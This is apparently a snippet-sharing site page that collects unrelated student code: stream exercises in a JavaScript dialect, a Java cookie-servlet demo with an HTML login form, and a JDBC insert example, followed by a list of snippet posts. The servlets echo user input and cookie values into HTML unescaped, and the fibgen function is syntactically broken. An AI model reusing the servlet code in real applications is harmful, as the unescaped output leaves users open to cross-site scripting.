//stream_tail is used to defer computation


//Finite stream: fixed number of elements
const s3 = pair(1, ()=> pair(2, ()=> pair(3, null)));
s3;
head(s3);//returns 1
head(tail(s3)());//returns 2
head(tail(tail(s3)())());// returns 3

//Infinite stream: innfinite elements
function ones_stream(){
    return pair(1 ,ones_stream);
}

const ones = ones_stream();
// alternative: const ones = pair(1, ()=> ones); (wrapping around)

head(ones);//returns 1
head(tail(ones)());//returns 1
head(tail(tail(ones)())());//returns 1

//stream_tail: 
function stream_tail(stream){
    return tail(stream)();
}

head(ones);//returns 1
head(stream_tail(ones));//returns 1
head(stream_tail(stream_tail(ones)));//returns 1

//difference: stream_tail uses lazy evaluation

//enum_stream
function enum_stream(low,hi){
    return low > hi
           ? null
           : pair(low, () => enum_stream(low + 1, hi));
}

let s = enum_stream(1, 100);

head(s); //returns 1
head(stream_tail(s)); //returns 2
head(stream_tail(stream_tail(s))); //returns 3

//stream_ref
function stream_ref(s, n){
    return n === 0
           ? head(s) 
           : pair(head(s), () => stream_ref(stream_tail(s), n-1));
}

s = enum_stream(1, 100);

stream_ref(s, 0);   //returns 1
stream_ref(s, 10); //returns unevaluated stream
stream_ref(s, 99);//returns unevaluated stream

//stream_map
function stream_map(f, s){
    return is_null(s)
           ? null 
           : pair(f(head(s)), () => stream_map(f, stream_tail(s)));
}

//stream_filter
function stream_filter(p, s){
    return is_null(s)
           ? null 
           : p(head(s))
             ? pair(head(s), () => stream_filter(p, stream_tail(s)))
             : stream_filter(p, stream_tail(s));
}

//EXAMPLES:

//1. integers_from
function integers_from(n){
    return pair(n, () => integers_from(n+1));
}

const integers = integers_from(1);
stream_ref(integers, 0);   //returns 1
stream_ref(integers, 10);  //returns unevaluated stream
stream_ref(integers, 99);  //returns unevaluated stream

//2. no_fours

function is_divisible(x,y){
     return x % y ===0;
}

const no_fours= stream_filter(x => !is_divisible(x,4), integers);

stream_ref(no_fours, 3);
stream_ref(no_fours, 100);

//From Streams to Lists: eval_stream
function eval_stream(s, n){
    return n === 0
           ? null 
           : pair(head(s), eval_stream(stream_tail(s), n-1));
}

eval_stream(no_fours, 10); //returns [1, [2, [3, [5, [6, [7, [9, [10, [11, [13, null]]]]]]]]]]

//Fibonacci Numbers
function fibgen(a, b){
    return pair(a, () => fibgen(b, a + b));
    
let fibs = fibgen(1,1);

eval_stream(fibs,10);
}

//more_and_more
//wanted: Stream containing 1, 1, 2, 1, 2, 3, 1, 2, 3, 4, ...
function more(a, b){
    return (a > b)
           ? more (1, 1 + b)
           : pair (a, () => more(a + 1, b));
}
const more_and_more = more(1,1);

eval_stream(more_and_more, 15);
//returns: [1, [1, [2, [1, [2, [3, [1, [2, [3, [4, [1, [2, [3, [4, [5, null]]]]]]]]]]]]]]]

//Replace
function replace(g, a, b){
    return is_null(g)
           ? null 
           : pair((head(g) === a) ? b : head(g), 
                    () => replace(stream_tail(g), a, b));
}

const g = replace(more_and_more, 1, 0);
eval_stream(g, 15);
//returns [0, [0, [2, [0, [2, [3, [0, [2, [3, [4, [0, [2, [3, [4, [5, null]]]]]]]]]]]]]]]

//List to Infinite stream
function list_to_inf_stream(xs){
    function helper(ys){
        return is_null(ys)
               ? helper(xs) //reset list
               : pair(head(ys), () => helper(tail(ys)));
    }
    return is_null(xs)? null : helper(xs);
}

const z = list_to_inf_stream(list(1,2,3));
eval_stream(z, 10);
//returns: [1, [2, [3, [1, [2, [3, [1, [2, [3, [1, null]]]]]]]]]]

//Alternative: 
const rep123 = pair(1, ()=> pair(2, ()=> pair(3, ()=> rep123)));

//Adding Streams

function add_streams(s1, s2){
    return is_null(s1)
           ? s2
           : is_null(s2)
           ? s1
           : pair(head(s1) + head(s2), () => add_streams(stream_tail(s1), stream_tail(s2)));
}
//Fibonacci Numbers using add_streams
//const fibs = pair(0, ()=> pair(1, () => add_streams(stream_tail(fibs), fibs)));
//eval_stream(fibs, 10);

//result: [0, [1, [1, [2, [3, [5, [8, [13, [21, [34, null]]]]]]]]]]


///Integers Revisisted using add_streams
const one_s = pair(1, ()=> one_s);
const integer_s = pair(1, () => add_streams(one_s, integer_s));
eval_stream(integer_s, 10);
//returns [1, [2, [3, [4, [5, [6, [7, [8, [9, [10, null]]]]]]]]]]

//Memoization with lazy evaluation
function memo_fun(fun){
    let already_run = false; // Tracks if function has been called before
    let result = undefined; //Stores result of first call
    
    
    function mfun(){
        if (!already_run){ //If function has not been called yet
            result = fun(); // call function and store it
            already_run = true; //mark already run as true
            return result;
        } else {           //If function has already been called
            return result; //return cached result
        }
    }
    
    return mfun; //return memoized function
}

//Example 1 vs Example 2
//Example 1:

function ms(m, s){
    display(m);
    return s;
}

const onesA = pair(1, () => ms("A", onesA));
stream_ref(onesA, 3);

/* 
Output:
→stream_ref({display("A"); return onesA;}, 2); 
→ stream_ref(onesA, 2);
→ stream_ref({display("A"); return onesA;}, 1); 
→ stream_ref(onesA, 1);
→ stream_ref({display("A"); return onesA;}, 0); 
→ stream_ref(onesA, 0);
→ head(onesA);
→1
*/


const onesB = pair(1, memo_fun(() => ms("B", onesB)));
stream_ref(onesB, 3);


/* 
→ stream_ref({display("B"); memoize onesB; return onesB;}, 2); 
→ stream_ref(onesB, 2);
→ stream_ref({return memoized onesB;}, 1);
→ stream_ref(onesB, 1);
→ stream_ref({return memoized onesB;}, 0); 
→ stream_ref(onesB, 0);
→ head(onesB);
→1 
*/

//Example 2:
function m_integers_from(n){
    return pair(n, memo_fun(()=> ms( "M" + stringify(n), m_integers_from( n +1))));
}

const m_integers = m_integers_from(1);

stream_ref(m_integers, 0);
stream_ref(m_integers, 1);
stream_ref(m_integers, 2); //"M: 2"
// next time stream_ref(m_integers, 2); gives 2 straight from memory

//Generating Primes- Sieve of Eratosthenes
//Original:

function is_prime(n){
    function is_divisible_by_any(divisor){
        if (divisor * divisor > n){
            return false;
        } else if (n % divisor === 0){
            return true;
        } else {
            return is_divisible_by_any(divisor + 1);
        }
    }
    return n>1 && !is_divisible_by_any(2);
}

const primes = pair(2, () => stream_filter(is_prime, integers_from(3)));
eval_stream(primes, 10);
//returns: [2, [3, [5, [7, [11, [13, [17, [19, [23, [29, null]]]]]]]]]]

//SIEVE METHOD:
function sieve(s){
    return pair(head(s), () => sieve(stream_filter( x =>!is_divisible(x, head(s)), stream_tail(s))));
}

const primes2 = sieve(integers_from(2));

//Square Roots by Newton's Method
//Using Streams for Iteration

function average (x,y){
    return (x + y)/2;
}

function improve (guess, x){
    return average(guess, x /guess);
}
function sqrt_stream(x){
const guesses = pair(1.0, () => stream_map(guess => improve(guess, x), guesses));
    return guesses;
}


eval_stream(sqrt_stream(2),6);
/* 
returns:
[ 1,
[ 1.5,
[ 1.4166666666666665,
[1.4142156862745097, [1.4142135623746899, [1.414213562373095, null]]]]]]
*/
Cookie servlet1

package work1;



import java.io.IOException;
import java.io.PrintWriter;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class CookieServlet1      */

@WebServlet("/Cookie1")
public class CookieServlet1 extends HttpServlet {
	private static final long serialVersionUID = 1L;
       
    
    public CookieServlet1() {
        super();
        // TODO Auto-generated constructor stub
    }

	
	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
		response.getWriter().append("Served at: ").append(request.getContextPath());
	
		response.setContentType("text/html;charset=UTF-8");
		PrintWriter out=response.getWriter();
		
        String name = request.getParameter("username");
        String pass = request.getParameter("password");
        String email=request.getParameter("email");
        
            Cookie ck = new Cookie("username", name);
            Cookie ck1=new Cookie("emailaddr",email);
            
            response.addCookie(ck);
            response.addCookie(ck1);
            out.println("<h1> Hello, welcome " + name 
                    + "!!! </h1>"); 
        out.println( 
            "<h1><a href =\"Cookie2\">Course Details</a></h1>");

        	     		}

	/**
	 * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
	 */
	protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
		doGet(request, response);
	}

}



cookieservlet2


package work1;

import java.io.IOException;
import java.io.PrintWriter;

import jakarta.servlet.ServletException;
import jakarta.servlet.annotation.WebServlet;
import jakarta.servlet.http.Cookie;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

/**
 * Servlet implementation class CookieServlet2     */
@WebServlet("/Cookie2")
public class CookieServlet2 extends HttpServlet {
	private static final long serialVersionUID = 1L;
       
    /**
     * @see HttpServlet#HttpServlet()
     */
    public CookieServlet2() {
        super();
        // TODO Auto-generated constructor stub
    }

	/**
	 * @see HttpServlet#doGet(HttpServletRequest request, HttpServletResponse response)
	 */
	protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
		response.getWriter().append("Served at: ").append(request.getContextPath());

		response.setContentType("text/html;charset=UTF-8");
        PrintWriter out = response.getWriter();
        response.setContentType("text/html");
        out.println("<h1> Welcome Back!!!</h1>");
        
        Cookie[] cks = request.getCookies();
        
        for(int i=0;i<cks.length;i++)
        out.println("<h1> "+cks[i].getName()+": "+ cks[i].getValue()+"</h1>");
	}

	/**
	 * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse response)
	 */
	protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
		// TODO Auto-generated method stub
		doGet(request, response);
	}

}


html:

<!DOCTYPE html>
<html>
<head>
<meta charset="ISO-8859-1">
<title>LoginPage</title>
<style>
div{
display:block;
height:600px;
color:white;
}
</style>
</head>
<body style="text-align:center;background-color:green;">
<div>
<form action="Cookie1" method="post">
<h1> Login to Cookie Application
</h1>
  
<label>Username:</label><input
type="text"
name="username"><br>

<label>Password:</label><input
type="password"
name="password"><br>
<label>email:
</label><input
type="text"
name="email"><br>

<button type="submit" value="Login">Submit</button>
</form>
</div>
</body>
</html>
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.util.Scanner;

public class PreparedInsert {

    // Database URL, username, and password
    static final String DB_URL = "jdbc:mysql://localhost:3306/your_database";
    static final String USER = "your_username";
    static final String PASS = "your_password";

    public static void main(String[] args) {
        // Create a Scanner object to read input
        Scanner scanner = new Scanner(System.in);

        // Prompt user for employee details
        System.out.print("Enter employee ID: ");
        int id = scanner.nextInt();
        scanner.nextLine(); // Consume newline left-over

        System.out.print("Enter employee name: ");
        String name = scanner.nextLine();

        System.out.print("Enter employee age: ");
        int age = scanner.nextInt();
        scanner.nextLine(); // Consume newline left-over

        System.out.print("Enter employee department: ");
        String department = scanner.nextLine();

        try {
            // Establish a connection to the database
            Connection conn = DriverManager.getConnection(DB_URL, USER, PASS);
            System.out.println("Connected to the database.");

            // Create a PreparedStatement for the insert operation
            String insertSQL = "INSERT INTO employees (id, name, age, department) VALUES (?, ?, ?, ?)";
            PreparedStatement pstmt = conn.prepareStatement(insertSQL);

            // Set parameters
            pstmt.setInt(1, id);
            pstmt.setString(2, name);
            pstmt.setInt(3, age);
            pstmt.setString(4, department);

            // Execute the insert operation
            int rowsInserted = pstmt.executeUpdate();
            System.out.println(rowsInserted + " row(s) inserted.");

            // Close resources
            pstmt.close();
            conn.close();
            System.out.println("Connection closed.");

        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            scanner.close();
        }
    }
}
star

Tue Nov 05 2024 19:55:59 GMT+0000 (Coordinated Universal Time)

@signup1

star

Tue Nov 05 2024 19:51:09 GMT+0000 (Coordinated Universal Time)

@signup1

star

Tue Nov 05 2024 19:48:19 GMT+0000 (Coordinated Universal Time) https://uaaaaaaau.com.br

@tutuzinbo

star

Tue Nov 05 2024 19:47:02 GMT+0000 (Coordinated Universal Time)

@signup1

star

Tue Nov 05 2024 19:41:39 GMT+0000 (Coordinated Universal Time)

@signup1

star

Tue Nov 05 2024 19:28:30 GMT+0000 (Coordinated Universal Time)

@signup1

star

Tue Nov 05 2024 18:46:05 GMT+0000 (Coordinated Universal Time)

@Yakostoch #c++

star

Tue Nov 05 2024 18:33:29 GMT+0000 (Coordinated Universal Time)

@Yakostoch #c++

star

Tue Nov 05 2024 18:25:48 GMT+0000 (Coordinated Universal Time)

@signup1

star

Tue Nov 05 2024 18:16:48 GMT+0000 (Coordinated Universal Time)

@Yakostoch

star

Tue Nov 05 2024 16:41:36 GMT+0000 (Coordinated Universal Time)

@signup1

star

Tue Nov 05 2024 15:10:58 GMT+0000 (Coordinated Universal Time) https://www.pygame.org/docs/tut/SpriteIntro.html

@saisingar3927

star

Tue Nov 05 2024 11:44:51 GMT+0000 (Coordinated Universal Time)

@jrray

star

Tue Nov 05 2024 11:44:25 GMT+0000 (Coordinated Universal Time)

@saurabhp643

star

Tue Nov 05 2024 11:28:04 GMT+0000 (Coordinated Universal Time)

@MinaTimo

star

Tue Nov 05 2024 11:24:25 GMT+0000 (Coordinated Universal Time)

@MinaTimo

star

Tue Nov 05 2024 10:39:29 GMT+0000 (Coordinated Universal Time) https://web.dev/articles/base64-encoding

@dixiemom #javascript

star

Tue Nov 05 2024 06:56:36 GMT+0000 (Coordinated Universal Time)

@grgbibek #javascript

star

Tue Nov 05 2024 00:50:41 GMT+0000 (Coordinated Universal Time)

@khadizasultana #c #loop

star

Tue Nov 05 2024 00:27:42 GMT+0000 (Coordinated Universal Time)

@shahmeeriqbal

star

Mon Nov 04 2024 22:58:07 GMT+0000 (Coordinated Universal Time)

@shahmeeriqbal

star

Mon Nov 04 2024 22:57:29 GMT+0000 (Coordinated Universal Time)

@shahmeeriqbal

star

Mon Nov 04 2024 22:03:49 GMT+0000 (Coordinated Universal Time)

@saharmess #java

star

Mon Nov 04 2024 21:06:53 GMT+0000 (Coordinated Universal Time) https://codepen.io/natewiley/pen/GgONKy

@maiden #scss

star

Mon Nov 04 2024 21:04:01 GMT+0000 (Coordinated Universal Time)

@saharmess #java

star

Mon Nov 04 2024 20:42:37 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:41:18 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:36:39 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:33:04 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:32:02 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:29:51 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:29:10 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:28:16 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:27:36 GMT+0000 (Coordinated Universal Time)

@sem

star

Mon Nov 04 2024 20:09:27 GMT+0000 (Coordinated Universal Time)

@shahmeeriqbal

star

Mon Nov 04 2024 19:28:56 GMT+0000 (Coordinated Universal Time)

@saharmess #java

star

Mon Nov 04 2024 18:46:29 GMT+0000 (Coordinated Universal Time)

@saharmess #java

star

Mon Nov 04 2024 18:30:04 GMT+0000 (Coordinated Universal Time) https://dev.goshoom.net/2016/05/how-to-send-emails-from-code-in-ax-7/

@pavankkm

star

Mon Nov 04 2024 16:49:03 GMT+0000 (Coordinated Universal Time)

@maiden #html #json #javascript #jquery #css

star

Mon Nov 04 2024 16:38:21 GMT+0000 (Coordinated Universal Time)

@maiden #html #json #javascript #jquery #css

star

Mon Nov 04 2024 16:32:22 GMT+0000 (Coordinated Universal Time)

@maiden #html #json #javascript #css #jquery

star

Mon Nov 04 2024 16:16:59 GMT+0000 (Coordinated Universal Time)

@maiden #html #json #javascript #css #jquery

star

Mon Nov 04 2024 16:14:23 GMT+0000 (Coordinated Universal Time)

@maiden #html #json #javascript #css #jquery

star

Mon Nov 04 2024 16:09:01 GMT+0000 (Coordinated Universal Time) undefined

@maiden #html #json #javascript #css #jquery

star

Mon Nov 04 2024 15:36:48 GMT+0000 (Coordinated Universal Time)

@Nero1313

star

Mon Nov 04 2024 15:25:49 GMT+0000 (Coordinated Universal Time)

@Wittinunt

star

Mon Nov 04 2024 14:44:09 GMT+0000 (Coordinated Universal Time) https://appticz.com/stake-clone-script

@aditi_sharma_

star

Mon Nov 04 2024 10:55:58 GMT+0000 (Coordinated Universal Time) https://share.sourceacademy.nus.edu.sg/streams2

@hkrishn4a #undefined

star

Mon Nov 04 2024 05:25:49 GMT+0000 (Coordinated Universal Time)

@login123

star

Mon Nov 04 2024 05:17:01 GMT+0000 (Coordinated Universal Time)

@login123

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension